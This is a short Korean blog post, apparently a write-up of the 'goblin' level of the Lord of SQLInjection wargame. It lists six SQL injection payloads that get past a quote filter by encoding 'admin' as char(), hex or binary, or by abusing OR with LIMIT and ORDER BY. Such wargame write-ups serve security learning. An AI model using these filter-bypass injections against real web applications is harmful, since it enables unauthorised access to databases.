ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] goblin
    Wargame/Lord of SQLInjection 2019. 7. 4. 23:15

    [goblin] https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php

    preg_match함수에 의해 '와 "가 필터링되어 있으며,

    쿼리문에 id 값은 guest로 설정되어 있지만 id가 admin이어야 문제가 풀린다.

     

    select id from prob_goblin where id='guest' and no=guest의 no가 아닌 수 or id='admin'

     

    우선 guest의 no가 아닌 값을 알아보았다.

     

    guest의 no는 1이다.

    id=admin을 입력하기 위해서, '나 "를 사용하지 않고,

    문자열로 입력하기 위해서는 char, hex, binary를 사용할 수 있다.

     

    1. ?no=2 or id=char(97,100,109,105,110)

    2. ?no=2 or id=0x61646d696e

    3. ?no=2 or id=0b0110000101100100011011010110100101101110

    아마 admin의 no값을 노가다한다면 admin의 no 값을 통해 문제를 풀수도 있을 것이다.

     

    4. ?no=2 or no=2

    admin의 no는 2이다.

     

    위에서 한 방법 외에도 여러가지 방법으로 풀 수 있다.

     

    5. limit이용하여 브루트포싱

    ?no=2 or true limit n, 1 (n은 임의의 숫자)

    6. order by 정렬 이용 (admin은 a이기 때문에 가장 먼저 나올 확률이 높음)

    ?no=2 or true order by id asc (오름차순 기본값)

    ?no=2 or true order by id desc (내림차순)

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] darkelf  (0) 2019.07.05
    [LOS] wolfman  (0) 2019.07.05
    [LOS] orc  (0) 2019.07.04
    [LOS] cobolt  (0) 2019.07.04
    [LOS] gremlin  (0) 2019.07.04

    댓글

@Jo Grini's Blog